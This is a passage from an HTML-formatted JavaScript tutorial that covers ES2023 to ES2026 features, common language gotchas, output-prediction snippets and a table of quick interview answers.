&lt;td&gt;Top-level {% raw %}&lt;code&gt;await&lt;/code&gt;, class fields and &lt;code&gt;#private&lt;/code&gt;, static blocks, &lt;code&gt;at()&lt;/code&gt;, &lt;code&gt;Object.hasOwn&lt;/code&gt;, &lt;code&gt;Error&lt;/code&gt; &lt;code&gt;cause&lt;/code&gt;, regex &lt;code&gt;d&lt;/code&gt; flag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ES2023&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;toSorted&lt;/code&gt;, &lt;code&gt;toReversed&lt;/code&gt;, &lt;code&gt;toSpliced&lt;/code&gt;, &lt;code&gt;with&lt;/code&gt;, &lt;code&gt;findLast&lt;/code&gt;, &lt;code&gt;findLastIndex&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ES2024&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Object.groupBy&lt;/code&gt;, &lt;code&gt;Map.groupBy&lt;/code&gt;, &lt;code&gt;Promise.withResolvers&lt;/code&gt;, resizable &lt;code&gt;ArrayBuffer&lt;/code&gt;, regex &lt;code&gt;v&lt;/code&gt; flag, &lt;code&gt;isWellFormed&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ES2025&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Iterator helpers, Set methods (&lt;code&gt;union&lt;/code&gt;, etc.), &lt;code&gt;Promise.try&lt;/code&gt;, &lt;code&gt;RegExp.escape&lt;/code&gt;, JSON modules, regex modifiers, &lt;code&gt;Float16Array&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ES2026&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Array.fromAsync&lt;/code&gt;, &lt;code&gt;Error.isError&lt;/code&gt;, &lt;code&gt;Iterator.concat&lt;/code&gt;, &lt;code&gt;Math.sumPrecise&lt;/code&gt;, &lt;code&gt;Uint8Array&lt;/code&gt; base64/hex methods, &lt;code&gt;JSON.parse&lt;/code&gt; source text access, &lt;code&gt;Map&lt;/code&gt;/&lt;code&gt;WeakMap&lt;/code&gt; &lt;code&gt;getOrInsert&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Reality check on ES2026:&lt;/strong&gt; this table follows the published ES2026 spec. Some articles list Temporal and explicit resource management (&lt;code&gt;using&lt;/code&gt;) as ES2026, but they are not in that spec. Always check &lt;a href="https://developer.mozilla.org" rel="noopener noreferrer"&gt;MDN compatibility tables&lt;/a&gt; or &lt;a href="https://caniuse.com" rel="noopener noreferrer"&gt;caniuse&lt;/a&gt; before shipping the newest features without a fallback.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Gotchas that bite everyone
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;==&lt;/code&gt; coercion.&lt;/strong&gt; Use &lt;code&gt;===&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;typeof null&lt;/code&gt;&lt;/strong&gt; is &lt;code&gt;'object'&lt;/code&gt;. Check with &lt;code&gt;=== null&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;0.1 + 0.2 !== 0.3&lt;/code&gt;.&lt;/strong&gt; Compare with an epsilon or use integers (paise, cents).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;[10, 9, 1].sort()&lt;/code&gt;&lt;/strong&gt; sorts as strings. Pass a comparator.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;var&lt;/code&gt; in loops&lt;/strong&gt; with closures gives surprising output. Use &lt;code&gt;let&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lost &lt;code&gt;this&lt;/code&gt;&lt;/strong&gt; when passing a method as a callback. Use arrow functions or &lt;code&gt;bind&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;forEach&lt;/code&gt; with &lt;code&gt;await&lt;/code&gt;&lt;/strong&gt; does not wait. Use &lt;code&gt;for...of&lt;/code&gt; or &lt;code&gt;Promise.all&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;fetch&lt;/code&gt; does not reject on HTTP errors.&lt;/strong&gt; Check &lt;code&gt;res.ok&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;||&lt;/code&gt; vs &lt;code&gt;??&lt;/code&gt;.&lt;/strong&gt; &lt;code&gt;0 || 5&lt;/code&gt; is &lt;code&gt;5&lt;/code&gt;, &lt;code&gt;0 ?? 5&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shallow copies.&lt;/strong&gt; Spread does not copy nested objects. Use &lt;code&gt;structuredClone&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;const&lt;/code&gt; does not freeze.&lt;/strong&gt; It only locks the binding.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;parseInt('08')&lt;/code&gt; style bugs.&lt;/strong&gt; Always pass radix, or use &lt;code&gt;Number()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;arr.map(parseInt)&lt;/code&gt;&lt;/strong&gt; returns &lt;code&gt;[1, NaN, NaN]&lt;/code&gt; (the index is passed as radix).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;new Date('2026-10-23')&lt;/code&gt;&lt;/strong&gt; is UTC but &lt;code&gt;new Date('2026-10-23T00:00')&lt;/code&gt; is local.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Array holes.&lt;/strong&gt; &lt;code&gt;new Array(3)&lt;/code&gt; is empty, &lt;code&gt;map&lt;/code&gt; skips holes. Use &lt;code&gt;Array.from({ length: 3 })&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unhandled promise rejections&lt;/strong&gt; crash Node and hide bugs. Always &lt;code&gt;catch&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mutating while iterating.&lt;/strong&gt; Do not &lt;code&gt;splice&lt;/code&gt; inside &lt;code&gt;forEach&lt;/code&gt;. Build a new array.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Floating &lt;code&gt;this&lt;/code&gt; in &lt;code&gt;setTimeout(obj.method)&lt;/code&gt;.&lt;/strong&gt; Wrap in an arrow function.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Predict the Output
&lt;/h2&gt;

&lt;p&gt;Try each one before reading the answer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]);&lt;/span&gt;                    &lt;span class="c1"&gt;// true   ([] == false, '' == 0, 0 == 0)&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;5&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;5&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;             &lt;span class="c1"&gt;// '53' 2&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;              &lt;span class="c1"&gt;// '1,2,34'&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;            &lt;span class="c1"&gt;// [1, 10, 9]&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="kc"&gt;NaN&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;      &lt;span class="c1"&gt;// 'object' 'number'&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;0.2&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;            &lt;span class="c1"&gt;// false&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;3&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="c1"&gt;// [1, NaN, NaN]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// 3 3 3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;A&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;B&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;C&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;D&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// A D C B&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Asha&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;hi&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hi&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;f&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;   &lt;span class="c1"&gt;// this is lost: TypeError in strict mode (undefined.name), or globalThis.name in sloppy mode&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nf"&gt;a&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// 1 3 2 (code after await runs as a microtask)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Interview Rapid Fire
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Question&lt;/th&gt;
&lt;th&gt;Short answer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;What is JavaScript?&lt;/td&gt;
&lt;td&gt;A single-threaded, dynamically typed, multi-paradigm language with first-class functions, run by engines like V8.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;var&lt;/code&gt; vs &lt;code&gt;let&lt;/code&gt; vs &lt;code&gt;const&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;var&lt;/code&gt; is function-scoped and hoisted as &lt;code&gt;undefined&lt;/code&gt;. &lt;code&gt;let&lt;/code&gt; and &lt;code&gt;const&lt;/code&gt; are block-scoped with a TDZ. &lt;code&gt;const&lt;/code&gt; cannot be reassigned.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is hoisting?&lt;/td&gt;
&lt;td&gt;Declarations are registered before code runs. Functions fully, &lt;code&gt;var&lt;/code&gt; as &lt;code&gt;undefined&lt;/code&gt;, &lt;code&gt;let&lt;/code&gt;/&lt;code&gt;const&lt;/code&gt; stay in the TDZ.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;==&lt;/code&gt; vs &lt;code&gt;===&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;==&lt;/code&gt; coerces types, &lt;code&gt;===&lt;/code&gt; does not. Prefer &lt;code&gt;===&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What are primitives?&lt;/td&gt;
&lt;td&gt;string, number, bigint, boolean, undefined, null, symbol. Immutable, copied by value.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is a closure?&lt;/td&gt;
&lt;td&gt;A function plus the variables from where it was created. Gives private state.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is &lt;code&gt;this&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;Set by how a function is called: &lt;code&gt;new&lt;/code&gt;, &lt;code&gt;call/apply/bind&lt;/code&gt;, method call, default. Arrows use lexical &lt;code&gt;this&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Arrow vs regular function?&lt;/td&gt;
&lt;td&gt;Arrows have no own &lt;code&gt;this&lt;/code&gt;, &lt;code&gt;arguments&lt;/code&gt;, or &lt;code&gt;new&lt;/code&gt;. Use them for callbacks, not for object methods.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;call&lt;/code&gt; vs &lt;code&gt;apply&lt;/code&gt; vs &lt;code&gt;bind&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;call&lt;/code&gt; and &lt;code&gt;apply&lt;/code&gt; invoke now (args listed vs array). &lt;code&gt;bind&lt;/code&gt; returns a new function.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is the prototype chain?&lt;/td&gt;
&lt;td&gt;Objects inherit through a linked chain of prototypes until &lt;code&gt;null&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is the event loop?&lt;/td&gt;
&lt;td&gt;Runs sync code, then all microtasks, then one macrotask, repeat. Makes async work on a single thread.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microtask vs macrotask?&lt;/td&gt;
&lt;td&gt;Microtasks: Promise callbacks, &lt;code&gt;queueMicrotask&lt;/code&gt;. Macrotasks: timers, events, I/O. Microtasks run first.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is a Promise?&lt;/td&gt;
&lt;td&gt;An object for a future value with states pending, fulfilled, rejected.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;Promise.all&lt;/code&gt; vs &lt;code&gt;allSettled&lt;/code&gt; vs &lt;code&gt;race&lt;/code&gt; vs &lt;code&gt;any&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;All fulfill or fail fast. All settle. First to settle. First to fulfill.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What does &lt;code&gt;async/await&lt;/code&gt; do?&lt;/td&gt;
&lt;td&gt;Syntax over Promises. &lt;code&gt;async&lt;/code&gt; returns a Promise, &lt;code&gt;await&lt;/code&gt; pauses that function until it settles.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;How do you run async tasks in parallel?&lt;/td&gt;
&lt;td&gt;Start them together, then &lt;code&gt;await Promise.all([...])&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shallow vs deep copy?&lt;/td&gt;
&lt;td&gt;Shallow copies one level (spread). Deep copies everything (&lt;code&gt;structuredClone&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;null&lt;/code&gt; vs &lt;code&gt;undefined&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;undefined&lt;/code&gt; means not assigned. &lt;code&gt;null&lt;/code&gt; means intentionally empty.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is event delegation?&lt;/td&gt;
&lt;td&gt;One listener on a parent that handles child events using &lt;code&gt;e.target&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Event bubbling vs capturing?&lt;/td&gt;
&lt;td&gt;Bubbling goes target to root (default). Capturing goes root to target.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;map&lt;/code&gt; vs &lt;code&gt;forEach&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;map&lt;/code&gt; returns a new array. &lt;code&gt;forEach&lt;/code&gt; returns nothing, use it for side effects.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;slice&lt;/code&gt; vs &lt;code&gt;splice&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;slice&lt;/code&gt; copies a portion. &lt;code&gt;splice&lt;/code&gt; mutates the array.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is currying?&lt;/td&gt;
&lt;td&gt;Turning &lt;code&gt;f(a, b)&lt;/code&gt; into &lt;code&gt;f(a)(b)&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is debouncing?&lt;/td&gt;
&lt;td&gt;Delay the call until the user stops triggering it.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;for...in&lt;/code&gt; vs &lt;code&gt;for...of&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;in&lt;/code&gt; loops keys (including inherited). &lt;code&gt;of&lt;/code&gt; loops values of iterables.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What are generators?&lt;/td&gt;
&lt;td&gt;Functions that can pause with &lt;code&gt;yield&lt;/code&gt; and resume. Lazy sequences.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;Map&lt;/code&gt; vs object?&lt;/td&gt;
&lt;td&gt;Map allows any key type, keeps order, has &lt;code&gt;size&lt;/code&gt;, and performs better for frequent changes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;WeakMap&lt;/code&gt; use case?&lt;/td&gt;
&lt;td&gt;Attach data to objects without preventing garbage collection.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ESM vs CommonJS?&lt;/td&gt;
&lt;td&gt;ESM uses &lt;code&gt;import&lt;/code&gt;/&lt;code&gt;export&lt;/code&gt;, is static and async-capable. CJS uses &lt;code&gt;require&lt;/code&gt;, is sync and dynamic.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is a pure function?&lt;/td&gt;
&lt;td&gt;Same input gives same output, with no side effects.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;How do you prevent memory leaks?&lt;/td&gt;
&lt;td&gt;Remove listeners and timers, avoid accidental globals, limit caches, use &lt;code&gt;WeakMap&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is strict mode?&lt;/td&gt;
&lt;td&gt;Opt-in stricter parsing and error behavior. Default in modules and classes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What is &lt;code&gt;Symbol&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;A unique, immutable primitive, used for hidden keys and protocols like &lt;code&gt;Symbol.iterator&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;Object.freeze&lt;/code&gt; vs &lt;code&gt;const&lt;/code&gt;?&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;const&lt;/code&gt; locks the binding. &lt;code&gt;freeze&lt;/code&gt; blocks changes to the object's own properties (shallowly).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  27. Official resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript" rel="noopener noreferrer"&gt;MDN JavaScript Guide and Reference&lt;/a&gt;: the best day-to-day reference&lt;/li&gt;
&lt;li&gt;
